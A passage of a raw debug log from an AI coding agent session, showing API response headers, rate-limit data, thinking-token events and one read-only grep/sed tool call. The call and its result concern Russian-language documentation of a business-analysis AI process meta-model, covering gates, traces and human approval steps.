\"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:55:58.699Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:55:58.701Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:55:58.703Z] [STDOUT]     \"cf-ray\": \"a4296db64d515d90-FRA\",\n[2026-09-29T07:55:58.705Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:55:58.709Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:55:58.711Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:55:58.716Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:55:58.724Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:55:58 GMT\",\n[2026-09-29T07:55:58.731Z] [STDOUT]     \"request-id\": \"req_011CfXNZRMYBoyzm11wd6uwt\",\n[2026-09-29T07:55:58.736Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:55:58.739Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:55:58.748Z] [STDOUT]     traceresponse: \"00-3a39622131998b8c1ea1af85f83ad275-42fb8aaf90155615-01\",\n[2026-09-29T07:55:58.752Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:55:58.755Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:55:58.757Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:55:58.760Z] [STDOUT]   },\n[2026-09-29T07:55:58.762Z] [STDOUT]   durationMs: 811,\n[2026-09-29T07:55:58.765Z] [STDOUT] }\n[2026-09-29T07:55:58.768Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:55:58.771Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:55:58 GMT\",\n[2026-09-29T07:55:58.774Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:55:58.776Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:55:58.779Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:55:58.784Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:55:58.794Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:55:58.800Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:55:58.809Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:55:58.813Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:55:58.822Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:55:58.835Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:55:58.846Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:55:58.849Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:55:58.852Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:55:58.857Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:55:58.863Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:55:58.870Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:55:58.875Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:55:58.877Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:55:58.885Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:55:58.890Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:55:58.894Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:55:58.898Z] [STDOUT]   \"request-id\": \"req_011CfXNZRMYBoyzm11wd6uwt\",\n[2026-09-29T07:55:58.903Z] [STDOUT]   \"traceresponse\": \"00-3a39622131998b8c1ea1af85f83ad275-42fb8aaf90155615-01\",\n[2026-09-29T07:55:58.909Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:55:58.916Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:55:58.924Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:55:58.928Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:55:58.933Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:55:58.936Z] [STDOUT]   \"cf-ray\": \"a4296db64d515d90-FRA\",\n[2026-09-29T07:55:58.943Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:55:58.948Z] [STDOUT] [log_974026] response parsed {\n[2026-09-29T07:55:58.951Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:55:58.953Z] [STDOUT]   status: 200,\n[2026-09-29T07:55:58.955Z] [STDOUT]   body: X {\n[2026-09-29T07:55:58.957Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:55:58.959Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:55:58.962Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:55:58.966Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:55:58.970Z] [STDOUT]     },\n[2026-09-29T07:55:58.972Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:55:58.975Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:55:58.979Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:55:58.983Z] [STDOUT]   },\n[2026-09-29T07:55:58.987Z] [STDOUT]   durationMs: 812,\n[2026-09-29T07:55:58.991Z] [STDOUT] }\n[2026-09-29T07:55:59.153Z] [INFO] {\n[2026-09-29T07:55:59.153Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:55:59.153Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:55:59.153Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:55:59.153Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:55:59.153Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:59.153Z] [INFO]   \"uuid\": \"cd02b948-c20e-47ad-9a4d-64fb6c4474e4\"\n[2026-09-29T07:55:59.153Z] [INFO] }\n[2026-09-29T07:56:00.822Z] [INFO] {\n[2026-09-29T07:56:00.822Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:56:00.822Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:56:00.822Z] [INFO]   \"estimated_tokens\": 200,\n[2026-09-29T07:56:00.822Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:56:00.822Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:00.822Z] [INFO]   \"uuid\": \"3203dfc2-77da-411b-a3a2-2564c80505b1\"\n[2026-09-29T07:56:00.822Z] [INFO] }\n[2026-09-29T07:56:02.163Z] [INFO] {\n[2026-09-29T07:56:02.163Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:56:02.163Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:56:02.163Z] [INFO]   \"estimated_tokens\": 400,\n[2026-09-29T07:56:02.163Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:56:02.163Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:02.163Z] [INFO]   \"uuid\": \"eabdbd28-4eea-4d59-be60-57029a4f7742\"\n[2026-09-29T07:56:02.163Z] [INFO] }\n[2026-09-29T07:56:03.218Z] [INFO] {\n[2026-09-29T07:56:03.218Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:56:03.218Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:56:03.218Z] [INFO]   \"estimated_tokens\": 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\"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:06.737Z] [INFO]   \"uuid\": \"68483d3a-a78e-421d-848a-be672c3faaa1\",\n[2026-09-29T07:56:06.737Z] [INFO]   \"timestamp\": \"2026-09-29T07:56:06.722Z\",\n[2026-09-29T07:56:06.737Z] [INFO]   \"request_id\": \"req_011CfXNZRMYBoyzm11wd6uwt\",\n[2026-09-29T07:56:06.737Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:56:06.737Z] [INFO]     \"toolu_011vrDymWxQcqFUpw8ojjMyA\": {\n[2026-09-29T07:56:06.737Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; grep -n 'MM-[1-4]' ba-meta-model/10-theory.md | head -12; echo ---; grep -n -i '\u0437\u0430\u043a\u0440\u044b\u0442' docs/presentation/*slides.md | head; echo ---; grep -n -i 'G1\\\\b\\\\|G5\\\\b\\\\|\u043e\u0442\u043a\u0443\u0434\u0430' ba-meta-model/operation-taxonomy/10-theory.md | head -10; echo ---; grep -rn -i '\u0441\u0438\u043d\u0442\u0435\u0442' docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md ba-meta-model/40-practice-and-cases.md docs/presentation/*slides.md | head -5; echo ---; sed -n 44,50p docs/analysis/2026-09-29-cline-package-expectation-gap.md; echo ---; grep -n -i 'gate\\\\|\u043e\u0442\u043a\u0440\u044b\u0442\\\\|status' docs/rfc/2026-09-source-pilot-verification.md | head -8\",\n[2026-09-29T07:56:06.737Z] [INFO]       \"description\": \"Verify remaining meta-model claims\"\n[2026-09-29T07:56:06.737Z] [INFO]     }\n[2026-09-29T07:56:06.737Z] [INFO]   }\n[2026-09-29T07:56:06.737Z] [INFO] }\n[2026-09-29T07:56:08.650Z] [INFO] {\n[2026-09-29T07:56:08.650Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:56:08.650Z] [INFO]   \"message\": {\n[2026-09-29T07:56:08.650Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:56:08.650Z] [INFO]     \"content\": [\n[2026-09-29T07:56:08.650Z] [INFO]       {\n[2026-09-29T07:56:08.650Z] [INFO]         \"tool_use_id\": \"toolu_011vrDymWxQcqFUpw8ojjMyA\",\n[2026-09-29T07:56:08.650Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:56:08.650Z] [INFO]         \"content\": \"67:| `SY-3` | `System` \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430 \u0442\u0430\u043a \u0436\u0435, \u043a\u0430\u043a \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 (`MM-4`): \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0437\u0430\u0434\u043d\u0438\u043c \u0447\u0438\u0441\u043b\u043e\u043c. |\\n140:| `MM-1` | \u0428\u0430\u0433 \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f. | \u00ab\u0420\u0430\u0431\u043e\u0442\u0430 \u0438\u0437 \u0432\u043e\u0437\u0434\u0443\u0445\u0430\u00bb: 50 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 \u0432\u0445\u043e\u0434 \u2014 \u0442\u0430\u043a\u0438\u0435 \u0448\u0430\u0433\u0438 \u043d\u0435\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b. |\\n141:| `MM-2` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; \u0433\u0435\u0439\u0442 \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d. | \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u00ab\u043d\u0430 \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u0435\u00bb, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043d\u0435\u043b\u044c\u0437\u044f \u043d\u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438, \u043d\u0438 \u043e\u0441\u043f\u043e\u0440\u0438\u0442\u044c. |\\n142:| `MM-3` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043d\u0435\u0441\u0451\u0442 `Trace` \u043d\u0430 \u0432\u0445\u043e\u0434, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e, \u0430\u043a\u0442\u043e\u0440\u0430 \u0438 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0433\u0435\u0439\u0442\u044b. | \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0435\u0437 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f: \u043e\u043d \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0432 \u043c\u0435\u0442\u0440\u0438\u043a\u0435 \u0438 \u0432 \u0440\u0430\u0437\u0431\u043e\u0440\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u0430. |\\n143:| `MM-4` | \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430, \u0430 \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430. | \u041c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u0443\u044e \u0441\u0431\u043e\u0440\u043a\u0443 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e: \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u0434\u0430\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u0430 \u0443 66 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67. |\\n145:`MM-1` \u0438 `MM-4` \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430; `MM-2` \u0438 `MM-3` \u2014 \u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u0430\\n214:| \u00ab\u0422\u043e\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u00bb \u0432\u0441\u0435\u0433\u043e \u043d\u0430 \u0432\u0441\u0451 \u043f\u0440\u043e\u0442\u0438\u0432 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 | \u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0440\u0451\u0431\u0440\u0430\u043c `Trace`, \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u043c \u0432 `MM-3`. \u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0432\u044f\u0437\u0438 \u2014 \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435. | \u0427\u0430\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0435\u0439 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043d\u0435\u0444\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0439; \u044d\u0442\u043e \u043e\u0441\u043e\u0437\u043d\u0430\u043d\u043d\u044b\u0439 \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u043f\u043e\u043b\u043d\u043e\u0442\u044b \u0432 \u043f\u043e\u043b\u044c\u0437\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438. |\\n---\\n---\\n53:\u041a\u043b\u0430\u0441\u0441\u044b \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0435 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043e\u043c, \u0430 **\u0442\u0438\u043f\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0430\u0434 \u0441\u043c\u044b\u0441\u043b\u043e\u043c** \u2014 \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430\\n60:| `generate` \u2014 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 | \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u043e \u0432\u0445\u043e\u0434\u0435 \u043d\u0435 \u0431\u044b\u043b\u043e | `G6` \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, `G5` \u043f\u0440\u0438 \u0432\u044b\u0445\u043e\u0434\u0435 \u0432\u043e\u0432\u043d\u0435 | \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u044f |\\n62:| `assess` \u2014 \u043e\u0446\u0435\u043d\u043a\u0430 \u0438 \u0432\u044b\u0431\u043e\u0440 | \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0432\u044b\u0431\u043e\u0440 \u0438\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 | `G1` \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f + `G5` \u043f\u0440\u0438 \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u044b\u0431\u043e\u0440\u0430 | \u043d\u0435\u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 |\\n---\\n---\\n   \u043f\u0430\u043a\u0435\u0442\u0430 \u043e\u0436\u0438\u0434\u0430\u044e\u0442 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u0442\u0435\u043e\u0440\u0438\u0438, \u0430 \u043e\u0442 \u0430\u0433\u0435\u043d\u0442\u0430 \u2014 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u043a\u043e\u0434\u0430.\\n2. **\u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u00ab\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u043e\u0435 \u2192 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0435\u00bb \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0430 \u043f\u043e Working JSON, \u043d\u043e\\n   \u043f\u043e\u043b\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u0442\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0442\u0430 \u0436\u0435 \u043c\u043e\u0434\u0435\u043b\u044c.**\\n   `semantic_review`, `approval` \u0438 `retrieval_status: \\\"read\\\"` \u2014\\n   \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0445 \u043d\u0430\u043b\u0438\u0447\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c. \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0430\u044f\\n   \u0441\u0443\u043c\u043c\u0430 \u0446\u0438\u0442\u0430\u0442\u044b \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0446\u0438\u0442\u0430\u0442\u0443 \u043d\u0435 \u043c\u0435\u043d\u044f\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u043d\u043e \u043d\u0435\\n   \u0442\u043e, \u0447\u0442\u043e \u043e\u043d\u0430 \u0432\u0437\u044f\u0442\u0430 \u0438\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 ([\u0413-17](#\u0433-17), [\u0413-18](#\u0433-18)).\\n---\\n2:status: proposed\\n17:| RFC status | \u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d \u043a review; \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0435 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 |\\n34:\u0441\u0438\u043d\u0442\u0435\u0442\u0438\u043a\u0435; \u0431\u043e\u0435\u0432\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0432 \u0434\u0432\u0443\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c gate.\\n78:   \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 15 \u0443\u0437\u043b\u043e\u0432 \u043e\u0442 `A-IN` \u0434\u043e Release \u0438 human gates. [\u041c\u0430\u0440\u0448\u0440\u0443\u0442 Cline](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/routes/pilot.json)\\n116:| 13 | \u041e\u0434\u0438\u043d TASK ID \u2014 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d | \u0418; \u041b\u043e\u043a | \u041f\u043e\u0432\u0442\u043e\u0440\u043d\u044b\u0439 Cline `run` \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u043b\u0441\u044f exit 1 \u0441 `ERROR: run already exists`; \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435 \u0438 \u043d\u043e\u0432\u044b\u0439 ID, \u0430 \u043d\u0435 \u043c\u0435\u043d\u044f\u0442\u044c gate. |\\n122:| 19 | \u041a\u0430\u043a \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0431\u043e\u0435\u0432\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443 | \u041c + \u0418; \u0414\u043e\u043a | README \u0433\u043e\u0432\u043e\u0440\u0438\u0442, \u0447\u0442\u043e real task \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 approved Working, \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a Cline AGENTS \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u043f\u0438\u043b\u043e\u0442 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0439 \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u043a\u043e\u0439. \u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0441\u043d\u044f\u0442\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430; \u043d\u0443\u0436\u0435\u043d human gate \u043f\u043e real-task scope. |\\n134:| H1 | \u041e\u0434\u0438\u043d Source \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u0435\u043d \u0434\u043b\u044f \u043e\u0431\u0449\u0435\u0433\u043e BCREQ Working \u2192 Release: \u043e\u0431\u0449\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430/\u043a\u043e\u0434 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b. | \u041f\u0430\u0440\u043d\u044b\u0439 approved Working \u0438\u0437 \u043e\u0434\u043d\u043e\u0439 \u0440\u0435\u0432\u0438\u0437\u0438\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u0435\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0445 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u043e\u043b\u0435\u0439 \u0438\u043b\u0438 gate \u0432 \u0434\u0432\u0443\u0445 \u0441\u0440\u0435\u0434\u0430\u0445. | **\u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0430\u043d\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u043c\u0435\u0445\u0430\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0441\u0440\u0435\u0437\u0430**: \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440, \u0441\u0445\u0435\u043c\u044b \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f `$id`; live-\u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0430 \u043e\u0442\u043a\u0440\u044b\u0442\u0430. |\\n137:| H4 | Debug \u043c\u043e\u0436\u043d\u043e \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0442 business-run \u0441 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c trace \u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438, \u043a\u0430\u043a \u0432 GigaCode. | Cline \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u044e \u0431\u0435\u0437 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f hook/gate \u0438\u043b\u0438 \u0441\u043c\u0435\u0448\u0435\u043d\u0438\u044f `runs/`. | **\u0427\u0430\u0441\u0442\u0438\u0447\u043d\u044b\u0439 gap \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438**; \u0441\u043f\u043e\u0441\u043e\u0431 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043e\u0442\u043a\u0440\u044b\u0442. \u041d\u0435 